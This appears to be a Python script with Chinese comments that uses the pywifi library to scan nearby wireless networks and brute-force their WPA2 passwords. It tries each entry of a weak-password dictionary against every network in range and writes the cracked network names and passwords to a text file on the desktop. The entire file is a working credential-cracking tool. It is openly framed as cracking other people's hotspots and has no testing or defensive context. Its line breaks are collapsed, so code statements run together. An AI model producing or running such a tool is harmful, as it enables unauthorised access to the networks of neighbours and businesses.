from pywifi import const, PyWiFi, Profileimport time
# wifi类class wifi(object):  def __init__(self):    self.wifi = PyWiFi()                  #创建一个无线对象    self.interfaces = self.wifi.interfaces()        #获取无线网卡接口    self.iface = self.interfaces[0]              #获取第一个无线网卡接口
  # 获取无线网卡接口  def get_wifi_interfaces(self):    num = len(self.interfaces)    if num <= 0:      print(u'未找到无线网卡接口!n')      exit()    if num == 1:      print(u'无线网卡接口: %sn' % (self.iface.name()))      return self.iface    else:      print('%-4s   %sn'%(u'序号',u'网卡接口名称'))      for i, w in enumerate(self.interfaces):        print('%-4s   %s' % (i, w.name()))      while True:        iface_no = input('请选择网卡接口序号：'.decode('utf-8').encode('gbk'))        no = int(iface_no)        if no >= 0 and no < num:          return self.interfaces[no]
  # 查看无线网卡是否处于连接状态  def check_interfaces(self):                    if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:      print('无线网卡：%s 已连接。' % self.iface.name())    else:      print('无线网卡：%s 未连接。' % self.iface.name())
  # 扫描周围wifi  def scan_wifi(self):    self.iface.scan()                    #扫描周围wifi    time.sleep(1)                      #不缓冲显示不出来    result = self.iface.scan_results()            #获取扫描结果，wifi可能会有重复    has = []                        #初始化已扫描到的wifi    wifi_list = []                      #初始化扫描结果    for i in result:      if i not in has:                  #若has中没有该wifi，则        has.append(i)                  #添加到has列表        if i.signal > -90:                #信号强度<-90的wifi几乎连不上          wifi_list.append((i.ssid, i.signal))    #添加到wifi列表          print('wifi信号强度：{0}，名称：{1}。'.format(i.signal, i.ssid))#输出wifi名称    return sorted(wifi_list, key=lambda x:x[1], reverse=True)  #按信号强度由高到低排序
  # 连接wifi  def connect_wifi(self, wifi_name, wifi_password):    self.iface.disconnect()                  #断开无线网卡连接    time.sleep(1)                      #缓冲1秒    profile_info = Profile()                #wifi配置文件    profile_info.ssid = wifi_name               #wifi名称    profile_info.auth = const.AUTH_ALG_OPEN         #需要密码    profile_info.akm.append(const.AKM_TYPE_WPA2PSK)      #加密类型    profile_info.cipher = const.CIPHER_TYPE_CCMP       #加密单元    profile_info.key = wifi_password             #wifi密码    self.iface.remove_all_network_profiles()        #删除其他配置文件    tmp_profile = self.iface.add_network_profile(profile_info)   #加载配置文件    self.iface.connect(tmp_profile)              #连接    #尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功)    time.sleep(5)            if self.iface.status() == const.IFACE_CONNECTED:      print('n==========================================================================')      print('wifi：{0}连接成功，密码：{1}'.format(wifi_name, wifi_password), end='')      print('==========================================================================n')      return True    else:      print('密码错误：{0}'.format(wifi_password), end='')      return False
  # 断开无线网卡已连接状态  def disconnect_wifi(self):    self.iface.disconnect()              if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:      print('无线网卡：%s 已断开。' % self.iface.name())    else:      print('无线网卡：%s 未断开。' % self.iface.name())
if __name__ == '__main__':  sf = ['Y', 'y', 'N', 'n']  dian = input('是否需要手动点击破解下一个wifi热点(Y/N)？').strip()  wifi = wifi()                        #实例化wifi类  wifi.get_wifi_interfaces()                  #获取网卡接口  wifi.check_interfaces()                    #检测网卡连接状态  print('n正在扫描wifi热点...')  wifiList = wifi.scan_wifi()                  #扫描周围wifi  print('n正在破解，时间较长，请耐心等待...')  #所有破解成功的wifi名称及密码  user_pwd = []                          # 只能单线程破解，因为只有一个无线网卡，不能同时连接多个wifi热点  for i in wifiList:    print('正在破解%s，请耐心等待...' % i[0])    start = time.time()    with open(r'1800常用弱口令字典.txt', 'r') as f:            for password in f:        try:          result = wifi.connect_wifi(i[0], password)  #尝试连接wifi          if result == True:              #若找到密码，则跳出，避免继续查找            user_pwd.append((i[0], password))    #保存破解成功的wifi及密码            break        except:          continue    end = time.time()    shi = end - start    print('破解耗时：%s秒。' % shi)    if dian == 'Y' or dian == 'y':      xia = input('是否继续破解(Y/N)？').strip()      while xia not in sf:        print('输入错误，请重新输入！')        xia = input('是否继续破解(Y/N)？')      if xia == 'Y' or xia == 'y':        continue      else:        break  print('n==========================================================================')  print('最终统计结果为：')  with open(r'c:/users/administrator/desktop/wifi.txt', 'a') as pwd:    for p in user_pwd:      pwd.write('wifi热点：%s，密码：%s' % (p[0], p[1]))      print(('wifi热点：%s，密码：%s' % (p[0], p[1])), end='')  print('==========================================================================n')  wifi.disconnect_wifi()